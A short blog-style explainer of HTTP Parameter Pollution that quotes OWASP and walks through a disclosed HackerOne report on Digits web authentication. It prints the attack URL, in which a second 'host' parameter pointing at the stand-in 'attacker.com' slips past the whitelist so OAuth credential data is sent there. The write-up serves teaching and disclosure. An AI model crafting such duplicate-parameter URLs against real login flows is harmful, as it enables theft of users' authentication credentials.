Bug Breakdown: HTTP Parameter Pollution
2 min read

Bug Breakdown: HTTP Parameter Pollution

How does the server behave when it receives multiple parameters in an HTTP request with the same name? When modifying and/or adding known parameters to HTTP requests, unexpected behavior may occur due to the application's logic on the server and/or client side.

Here is a more thourough definition from OWASP themselves:

Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors or modify internal variables values. As HTTP Parameter Pollution (in short HPP) affects a building block of all web technologies, server and client-side attacks exist.

Okay,  enough with the definitions. Let's look at a real example from a disclosed HackerOne report:

Bypassing Digits web authentication's host validation with HPP

This vulnerability was found by filedescriptor, I highly recommend you follow him.

Let's breakdown what's going on here:

https://www.digits.com/login?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE&host=https%253A%252F%252Fwww.periscope.tv

  • The Digits web application has a login URL that takes two parameters, consumer_key and host.
  • The host parameter specifices which host the OAuth credential data is sent to after successful authentication.
  • If host is modified to use a different domain, the web applicaiton checks to see if it's whitelisted and if not it will return an error message.

So far, this seems okay. The web application won't let us put attacker.com in the host parameter without realizing it's not on the whitelist. But what happens when we use HPP to send multiple host parameters to the URL?

https://www.digits.com/login?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE&host=https%253A%252F%252Fwww.periscope.tv&host=https%253A%252F%252Fattacker.com

  • We re-send the request with two host parameters this time, one set to https://periscope.tv and the other set to https://attacker.com
  • The server validates that the first host paremeter is a valid and whitelisted domain (periscope.tv) and continues with the rest of the applications auth logic as normal.
  • When authentication succeeds, the second host parameter is actually used to receive the OAuth credential data during the transfer step!

This is a great example of HPP in action. Think about how it's possible to apply these scenarios to web apps using logic to validate parameters, but web apps that aren't self-aware of how other pieces of their stack (or themselves) are processing duplicate HTTP request parameters.

The OWASP Web Security Testing Guide has a good page on HPP that shows how some different web servers process duplicate parameter values.

HTTP parameter processing logic for different web servers.

What we covered above is known as a server-side HPP attack. It's also possible to use HPP to discover client-side application vulnerabilities. The goal with client-side HPP attacks is to inject parameters into URLs that are reflected (shown on the page received from the server).

If you prefer a video, check this one out:

Resources